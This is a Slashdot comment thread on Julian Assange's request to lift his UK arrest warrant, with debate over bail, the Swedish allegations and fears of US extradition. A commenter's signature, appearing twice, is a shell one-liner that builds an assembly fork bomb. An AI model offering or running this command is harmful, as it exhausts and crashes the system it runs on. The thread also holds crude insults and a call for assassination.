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WikiLeaks' Julian Assange Asks UK Judge to Drop His Arrest Warrant (theguardian.com)
An anonymous reader quotes the Guardian:
WikiLeaks founder, Julian Assange, has asked a UK court to drop the arrest warrant that prevents him from leaving the Ecuadorian embassy in London, where he has been living for five and a half years. Assange, 46, skipped bail to enter the embassy in 2012 in order to avoid extradition to Sweden over allegations of sexual assault and rape, which he denies... Mark Summers QC told senior district judge Emma Arbuthnot at Westminster magistrates court on Friday that now that the Swedish case had been dropped the warrant had "lost its purpose and its function". He said because Swedish extradition proceedings against Assange had come to an end, so had the life of the arrest warrant... Arbuthnot said she would give her judgment about the arrest warrant on 6 February.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
Technically, he still broke laws in the UK by evading arrest.
he would be even more depressed if he was in prison. He also might be a free man if he only left the embassy so it's hard to see how him having depression (if he really does) is an issue
The UK arrest warrant has nothing to do with the European Arrest Warrant. The UK one is for skipping bail. It doesn't matter whether or not the Swedish government is still pursuing him, he has committed a crime in the UK which is an arrestable offence regardless of his innocence of the charge he was facing.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
Found the American! Ever wonder why Americans hate Assange? Cuz he exposed American military committing war crimes (e.g., google Collateral Murder).
Make him show up in person to argue this release.
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
Isn't that the way things normally happen, except for crimes like murder? In the United States it is called the Statute of Limitations.
Learning HOW to think is more important than learning WHAT to think.
A good way to not be under house arrest for 6 years is to answer the charges for which you are under indictment.
Julian Assange, if he is innocent, should have no problem appearing before a judge and jury.
... has a lot of followers and massive, embarrassing leaks could surface if someone pisses him off.
What's the status of the Insurance Torrent that was so dominant in 2013?
Wikileaks insurance files, just in case the worst happens
It little behooves the best of us to comment on the rest of us.
He wants to move out of his Ecuadorian mom's basement because she wants him to get a job and doesn't believe his "really bad tooth" story any more.
You are welcome on my lawn.
Of course there is that part where the so called "rape charges" where absolute bullshit.
Not true
https://www.newstatesman.com/d...
One: "The allegation of rape would not be rape under English law"
This is flatly untrue. The Assange legal team argued this twice before English courts, and twice the English courts ruled clearly that the allegation would also constitute rape under English law.
(See my post at Jack of Kent for further detail on this.)
http://jackofkent.com/2012/06/...
The Magistrates' Court ruled (emphasis added):
The position with offence 4 is different. This is an allegation of rape. The framework list is ticked for rape. The defence accepts that normally the ticking of a framework list offence box on an EAW would require very little analysis by the court. However they then developed a sophisticated argument that the conduct alleged here would not amount to rape in most European countries. However, what is alleged here is that Mr Assange "deliberately consummated sexual intercourse with her by improperly exploiting that she, due to sleep, was in a helpless state". In this country that would amount to rape.
Just for the record, be very careful with women if you visit Sweden. Pressing false rape-charges is apparently a thing these days, even if you're not famous.
Bullshit. I've been to Sweden and dated women there. So long as you don't rape anyone you'll won't be charged with rape. What got Assange on trouble was that he was dating someone who consented to sex with a condom. They slept in the same bed. He woke her up having sex without a condom. She wanted him to get an aids test. He refused. She went to the police. He got charged with rape. And the UK courts ruled that since what he did in Sweden would count as rape if he had done it in the UK, he could be extradited. Then he skipped bail.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah those AKs, in a wartime country where everyone carries an AK, are a real threat to the helicopter sitting several kilometres away.
... the UK is flooded with other requests to drop arrest warrants because, "... and I broke a nail ..."
It little behooves the best of us to comment on the rest of us.
Clinical depression has a biologic basis. It seems like you think it is based on his circumstances. His bad tooth is particularly unfortunate since he is in the UK where they haven't yet discovered dentistry.
The rape allegation is nothing but a pretext to get him into custody so he may be interrogated by or outright handed over to the United States. If it wasn't, the government of Sweden would have taken up Assange years ago on his offers to be interviewed by investigators remotely or in person at the embassy. Or to return to Sweden outright if they promised not to hand him over to U.S. custody.
The response to this inconvenient fact is generally a pithy "since when do wanted suspects get to negotiate terms". Well, since cops negotiate with suspects all the time. Lets say Dallas cops had Micah Xavier Johnson on the phone and were trying to get him to surrender. They would of course say no to crazy demands like a million dollars and a getaway car. But if Johnson had offered to give himself up on the condition that he not be flown to Guantanamo to be tortured, the SWAT commander would roll his eyes and say "sure, we wont fly you to Cuba, so drop your guns and walk out with your hands up".
Assange's fear of being handed over to the U.S. isn't remotely crazy, though, since Sweden handed people over to the CIA who were then tortured and Obama had Manning tortured with months of solitary confinement. So, yeah, a suspect gets to negotiate terms when dealing with entities known for kidnapping and torture, two things the people screaming about alleged rape DGAF about.
The response to that is a pithy "well Assange offered to give himself up if Obama commuted Manning's sentence so he's bluffing". EXCEPT - the very credible threats of persecution and torture is why Ecuador granted Assange asylum in the first place. If Sweden were to take extradition and interrogation by the U.S. off the table, the reason for that asylum disappears. So if this is really about alleged rape, let it be about the alleged rape and nothing else. Either Sweden takes Assange up on his offer because the threat is real, or Sweden takes Assange up on his offer so Ecuador will show him the door.
Why did he flee justice if the rape charges were bullshit? His actions were those of somebody who believes themselves to be guilty.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
https://www.theguardian.com/me...
The allegations centre on a 10-day period after Assange flew into Stockholm on Wednesday 11 August. One of the women, named in court as Miss A, told police that she had arranged Assange's trip to Sweden, and let him stay in her flat because she was due to be away. She returned early, on Friday 13 August, after which the pair went for a meal and then returned to her flat.
Her account to police, which Assange disputes, stated that he began stroking her leg as they drank tea, before he pulled off her clothes and snapped a necklace that she was wearing. According to her statement she "tried to put on some articles of clothing as it was going too quickly and uncomfortably but Assange ripped them off again". Miss A told police that she didn't want to go any further "but that it was too late to stop Assange as she had gone along with it so far", and so she allowed him to undress her.
According to the statement, Miss A then realised he was trying to have unprotected sex with her. She told police that she had tried a number of times to reach for a condom but Assange had stopped her by holding her arms and pinning her legs. The statement records Miss A describing how Assange then released her arms and agreed to use a condom, but she told the police that at some stage Assange had "done something" with the condom that resulted in it becoming ripped, and ejaculated without withdrawing.
When he was later interviewed by police in Stockholm, Assange agreed that he had had sex with Miss A but said he did not tear the condom, and that he was not aware that it had been torn. He told police that he had continued to sleep in Miss A's bed for the following week and she had never mentioned a torn condom.
On the following morning, Saturday 14 August, Assange spoke at a seminar organised by Miss A. A second woman, Miss W, had contacted Miss A to ask if she could attend. Both women joined Assange, the co-ordinator of the Swedish WikiLeaks group, whom we will call "Harold", and a few others for lunch.
Assange left the lunch with Miss W. She told the police she and Assange had visited the place where she worked and had then gone to a cinema where they had moved to the back row. He had kissed her and put his hands inside her clothing, she said.
That evening, Miss A held a party at her flat. One of her friends, "Monica", later told police that during the party Miss A had told her about the ripped condom and unprotected sex. Another friend told police that during the evening Miss A told her she had had "the worst sex ever" with Assange: "Not only had it been the world's worst screw, it had also been violent."
Assange's supporters point out that, despite her complaints against him, Miss A held a party for him on that evening and continued to allow him to stay in her flat.
On Sunday 15 August, Monica told police, Miss A told her that she thought Assange had torn the condom on purpose. According to Monica, Miss A said Assange was still staying in her flat but they were not having sex because he had "exceeded the limits of what she felt she could accept" and she did not feel safe.
The following day, Miss W phoned Assange and arranged to meet him late in the evening, according to her statement. The pair went back to her flat in Enkoping, near Stockholm. Miss W told police that though they started to have sex, Assange had not wanted to wear a condom, and she had moved away because she had not wanted unprotected sex. Assange had then lost interest, she said, and fallen asleep. However, during the night, they had both woken up and had sex at least once when "he agreed unwillingly to use a condom".
Early the next morning, Miss W told police, she had gone to buy breakfast before getting back into bed and falling asleep beside Assange. She had awoken to find him having sex with her, she said, but when she asked whether he was wearing a condom he said no. "Ac
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
from the Sweedish note about invastigation dropping:
https://yro.slashdot.org/comme...
– If he, at a later date, makes himself available, I will be able to decide to resume the investigation immediately, says Marianne Ny.
So the moment he steps out all will be restarted. Pretty sure the extradition papers are ready to be filed immediately (first Sweden then US).
And likely the UK charges of breaking the bail and avoiding arrest will never be dropped.
If it was me I would decide to step out and let the legal storm start and yes, likely ending up in US. Otherwise he is stuck in the embassy forever.
What penalty is he facing in US being now citizen of Ecuador and Australia?
4wdloop
It's costing us, the UK tax payer, about £10k per day for the policing. Quite frankly, it's a colossal waste of money at a time where the amount of public spending available cannot be pissed up the wall on something like this.
Part of that daily money would be better spent purchasing him a one way ticket to Ecuador, escorting him to Heathrow, onto the aeroplane and then waving him goodbye.
And then we can go back to spending that kind of money on far far more important things.
Avantslash - View Slashdot cleanly on your mobile phone.
Fuck THEM. It’s them who are at fault for not being able to secure the arrest of Assange. So why should they be “rewarded” by punishing Assange?
You seem to be throwing out terms without understanding their meaning.
Could you please indicate where corruption occurred and which civil rights were abused?
Realms?
You fucking moron. The U.K. had him in custody and allowed him to remain in the U.K. under restricted terms until the legal issues played out. They could've handed him over to the U.S. right there. But they didn't.
The U.S. does not give a shit about this smelly little Aussie, However, Assange has not exactly endeared himself with the Brits.
Assange believes that the USA thought it would be easier to extradite him from Sweden then the UK, probably correctly. His move to Equador's embassy was unexpected.
The bail charges are trivial. Unlike the USA, the UK does not hand out long sentences for minor crimes. In Assange's case, a suspended sentence or at worst a few month in what, by USA standards, would be a very comfortable jail.
That is obviously not Assange is worried about. He is worried about the USA, and the sealed (secret) grand jury case against him.
Is Assange correct? Probably not, but I would not bet my life on that.
Mind you, he was accused of "Rape" (whatever that really means these days) and so must be guilty.
Must have been an odd sort of rape if the Swedes did not press charges once they questioned Assange. Maybe the fact that the women involved did not want to press charges had something to do with it. Or that they socialized with Assange *after* the alleged "Rape", and just wanted Assange to have an STD check, which he belatedly did.
Were the Swedes puppets of the USA? Probably not. The case just got taken on by a belligerent SJW prosecutor, who is now probably very relieved that the case has expired and she does not have to front court. Incidentally, statute of limitations do not apply to people once they have been charged, which is why she would never interview Assange and then have to either charge him or drop the charges, either of which would not have been good for her.
Is Assange's paranoia about the USA wanting to extradite him out of Sweden justifiable? Hard to say. They were certainly angry about the Manning leaks, and Assange almost certainly helped and encouraged Manning to do the leaks. But I would not bet my life on it either way.
The Bail charges are trivial. At worst a very few months jail, probably just a suspended sentence. This is not about bail.
He should be assassinated!
Nobody's suggesting this, except for idiots who fail miserably at trolling.
But there is absolutely no reason that he should not be held accountable for his actions.
Il n'y a pas de Planet B.
Sarah Palin suggested it and the reactions of Hillary supporters to him now are nearly as hysterical. It was fine when he was doing it to the other "team" but now he's persona non grata because he made their "team" look bad.
Omar Zayed had fled to embassy to escape extradition for killing of Israeli student; Palestinians say Israel assassinated him, Jerusalem denies it https://www.timesofisrael.com/...
The consensual sex wasn't rape. We're all agreed on that. Sleeping people can't consent. And, remember, consent to sex with a condom is not consent to sex without a condom. Moreover, because you agree to sex with a guy once doesn't mean you've agreed to sex with him whenever he wants.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
Well, you'd expect Palin to say something dumb. However, the Hillary supporters I know haven't been hysterical about the asshole. I suspect you're talking about a very small, if loud, number of people.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
Man, the paranoid AC Assangeniks are out in force today.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
Wanker. I'd rather have good NHS British dentistry than the holywood style crap in the US. And how's the dentistry in the flyover states, redneck?
While mocking someone for perpetuating an incorrect stereotype, you do exactly the same exact thing.
I don't think you are a very nice person. Or a very thoughtful one.
You are aware that not everyone in the flyover states makes and consumes meth, right? We have indoor plumbing and award-winning symphony orchestras, and other signs of civilization.
But don't feel too bad. You aren't alone.
Many of our own journalists were totally surprised the year two Missouri teams were in the World Series, and they discovered, while visiting St. Louis and Kansas City, those amazing facts, and others like them. And felt compelled to comment on them.
Some of them even traveled the 240 miles between the two by car, and discovered the people in between could form complete sentences.
There's no time like the present. Well, the past used to be.